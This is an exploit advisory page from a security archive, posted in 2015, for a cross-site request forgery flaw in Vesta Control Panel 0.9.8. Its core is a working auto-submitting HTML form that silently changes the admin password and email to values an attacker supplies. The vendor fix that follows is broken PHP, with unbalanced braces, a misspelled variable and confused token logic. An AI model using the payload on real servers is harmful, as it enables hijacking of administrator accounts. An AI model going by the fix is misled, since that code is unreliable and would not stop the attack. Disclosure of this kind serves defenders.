exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Vesta Control Panel 0.9.8 Cross Site Request Forgery

Vesta Control Panel 0.9.8 Cross Site Request Forgery
Posted May 25, 2015
Authored by Ben khlifa Fahmi

Vesta Control Panel version 0.9.8 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | c2645b4a8ab272752f3327b66ce8adc1b4aa50f89c60265a5dccd5488f217b87

Vesta Control Panel 0.9.8 Cross Site Request Forgery

Change Mirror Download
# Exploit Title: Vesta Control Panel CSRF(change admin password)
# Date: 24-05-2015
# Exploit Author: Ben Khlifa Fahmi
# Vendor Homepage: https://vestacp.com/
# Software Link: http://vestacp.com/pub/vst-install.sh
# Version: 0.9.8(amd64)
# Tested on: ubuntu trusty 14.04

Description:
---------------------------------------------------------------
The vulnerability exist on the page /edit/user/index.php

The VESTA CP is vulnerable to CSRF Where an attacker can change "admin" password
by sending to already logged in user , once the victim visit the page the user password will changed
to the one has been set by attacker.


Exploit Code :
<html>
<head><title>Victim will redirect auto</title></head>
<body onload="document.forms[0].submit()">
<form>
<form id="vstobjects" method="post" name="v_edit_user" action="https://[target]:8083/edit/user/?user=admin">
<input type="hidden" name="v_user" value="admin" >
<input type="hidden" name="v_username" value="admin">
<input type="hidden" name="v_password" value="[hacker pass]">
<input type="hidden" name="v_email" value="[hacker mail]">
<input type="hidden" name="v_package" value="default" />
<input type="hidden" name="v_language" value="ar" />
<input type="hidden" name="v_fname" value="System">
<input type="hidden" name="v_lname" value="Administrator">
<input type="hidden" name="v_shell" value="bash" />
<input type="hidden" value="ns1.localhost.ltd">
<input type="hidden" value="ns2.localhost.ltd">
<input type="hidden" name="v_ns3">
<input type="hidden" name="v_ns4">
<input type="submit" class="button" name="save" value="Save">
</form>
</body>
</html>

Impact : Critical as an attacker can change admin email , password, dns ....

Solution :
add this code to the page /edit/user/index.php after the session start

$token = uniqid(mt_rand(), true);
if(!isset($_POST)){
$_SESSION['token'] = $token;
}
if(isset($_POST['token']))
if(!($_SESSION['token'] === $_POST['token'])){
header('location: /error/');
}
}


and at the end of page add
$_SESSION['token'] = $toke;

also don't forget to add this html just in the form on page :
<form id="vstobjects" method="post" name="v_edit_user">
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>"/>



Greetz to : ArabOUG Cyber Security Team, Tunisian Whitehat Security , Tunisian Agency of Internet Team , BenCure CERT Team(Ben Yahia Mohamed, Ben Salem Salma, Ben khlifa Fahmi(me), Moez Chakchouk, Ben Mne Tarek) Amine Zemzemi , Saif Bejaoui , Mohamed Amen Allah Bechikh , Youssef Warheni , Manel Nouali , Ben Gharbia Jihed , and all my friends
And a special Greetz to my fiancé <3
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close